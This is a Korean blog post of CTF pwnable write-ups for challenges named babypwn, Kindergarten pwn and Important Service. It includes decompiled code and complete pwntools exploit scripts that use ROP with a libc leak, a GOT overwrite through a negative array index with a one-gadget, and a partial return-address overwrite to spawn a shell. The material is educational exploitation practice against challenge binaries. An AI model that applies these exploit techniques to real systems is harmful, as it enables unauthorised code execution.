티스토리 뷰
babypwn
1 2 3 4 5 6 | _int64 copy() { char v1; // [rsp+0h] [rbp-80h] return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1); } |
여기서 overflow가 일어나고 Nx와 full relro가 걸려있다.
rop 하면 된다 그냥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | from pwn import * #context.log_level = 'debug' #p = remote('baby.uni.hctf.fun',25251) p = process('./babypwn') e = ELF('./babypwn') main = 0x401169 prdiret = 0x401203 payload = "A"*136 payload +=p64(prdiret) payload +=p64(e.got['puts']) payload +=p64(e.plt['puts']) payload +=p64(main) p.sendlineafter("/bin/sh\n",payload) puts = u64(p.recv(6)+"\x00"*2) #libc_base = puts - 0x72a40 #in remote libc_base = puts - 0x6f690 # in local system = libc_base + 0x45390 cmd = libc_base + 0x18cd57 print hex(puts) print hex(libc_base) payload1 = "A"*136 payload1 += p64(prdiret) payload1 += p64(cmd) payload1 += p64(system) p.sendlineafter("/bin/sh\n",payload1) p.interactive() | cs |
리모트 접속이 안돼서 그냥 로컬쉘 땄다.
Kindergarten pwn
1 2 3 4 5 6 7 8 9 10 11 | printf("give me an index:\n> ", v3); if ( (unsigned int)__isoc99_scanf("%d", &v5) != 1 ) break; v3 = (char *)v5; if ( (signed int)v5 <= 31 ) { printf("the value at %d is %hhd. give me a new value:\n> ", v5, (unsigned int)array[v5]); v3 = &v4; if ( (unsigned int)__isoc99_scanf("%hhd", &v4) != 1 ) break; array[v5] = v4; | cs |
index를 입력받고, 그 index의 value를 출력, 수정할 수 있다. 근데 저기 index 검사하는 부분을 보면 음수 검사를 하지 않는다.
그리고 array가 bss에 있으니 array 밑에 위치하는 주소가 어디 있는지 보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | t:0000000000004000 .got.plt:0000000000004000 ; Segment type: Pure data .got.plt:0000000000004000 ; Segment permissions: Read/Write .got.plt:0000000000004000 ; Segment alignment 'qword' can not be represented in assembly .got.plt:0000000000004000 _got_plt segment para public 'DATA' use64 .got.plt:0000000000004000 assume cs:_got_plt .got.plt:0000000000004000 ;org 4000h .got.plt:0000000000004000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC .got.plt:0000000000004008 qword_4008 dq 0 ; DATA XREF: sub_1020↑r .got.plt:0000000000004010 qword_4010 dq 0 ; DATA XREF: sub_1020+6↑r .got.plt:0000000000004018 off_4018 dq offset printf ; DATA XREF: _printf↑r .got.plt:0000000000004020 off_4020 dq offset setvbuf ; DATA XREF: _setvbuf↑r .got.plt:0000000000004028 off_4028 dq offset __isoc99_scanf .got.plt:0000000000004028 ; DATA XREF: ___isoc99_scanf↑r .got.plt:0000000000004030 off_4030 dq offset exit ; DATA XREF: _exit↑r .got.plt:0000000000004030 _got_plt ends .got.plt:0000000000004030 | cs |
array가 0x4080에 있고 got영역은 0x4000에 있으니 libc릭과 overwrite 둘 다 가능하다는 말이고
마지막에 exit(1) 해주니간 exit got를 원샷으로 덮었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * from ctypes import * p = process('./kindergarten') e = ELF('./kindergarten') start_addr = 0x4080 def leak(addr, new_byte="\x00"*8): index = addr - start_addr #-0x60 data = "" lbyte = map(ord, new_byte) for i in range(8): p.sendlineafter("> ", str(index)) p.recvuntil("is ") data += chr(c_ubyte(int(p.recvuntil(".", drop=True))).value) p.sendlineafter("> ", str(lbyte[i])) print hex(u64(new_byte)) index += 1 return data libc_base = u64(leak(0x4020)) - 0x6fe70 print "libc_base :"+hex(libc_base) oneshot = libc_base + 0x4526a leak(0x4030, p64(oneshot)) p.interactive() | cs |
Important Service
1 2 3 4 5 6 7 8 9 10 11 12 | puts("Please enter width and height e.g.: 5 8"); if ( __isoc99_fscanf(stdin, "%d %d", &width, &height) == 2 ) { if ( width * height <= 1024 ) { puts("Please provide some data e.g.: 12345"); while ( fgetc(stdin) != 10 ) ; fread(&ptr, 1uLL, width, stdin); v5(&ptr, width, height); result = 0; } | cs |
width와 height 입력받고 ptr에 width의 크기만큼 입력을 받는다. char ptr[1024] 이므로
bof가 날 수 있다.
1 2 3 4 | int givemeshellpls() { return system("/bin/sh"); } | cs |
그리고 givemeshellpls 라는 함수도 있다.
bof를 트리거해서 givemeshellpls 함수쪽으로 rip를 돌릴 수 없나 싶었는데
v5를 실행하는 주소를 보니 0x11bc 이고 givemeshellpls 함수의 주소는 0x11a9였다.(정확히 말하면 binary base + 0x11bc, binary base + 0x11a9)
그러면 fread로 rip 마지막 바이트를 바꿔서 v5가 아닌 givemeshellpls 쪽으로 돌리면 되겠다 싶었다.
1 2 3 4 5 6 7 8 9 10 | from pwn import * p = process('./importantservice') p.sendlineafter("5 8\n","1025 0") p.sendlineafter("12345\n","A"*1024+"\xA9") p.interactive() | cs |
Slottier machine
요건 잘 모르겟다 담에 한번 풀어봐야할듯
Exploitation Class
'Pwnable > write up' 카테고리의 다른 글
CSAW 2013 miteegashun(400) (0) | 2018.11.19 |
---|---|
P.W.N ctf exploitClass (0) | 2018.11.18 |
[PlaidCTF 2014] kappa (0) | 2018.09.26 |
[DEFCON 2015] r0pbaby (0) | 2018.09.16 |
[Sunrin Internel CTF] cee (0) | 2018.09.16 |
댓글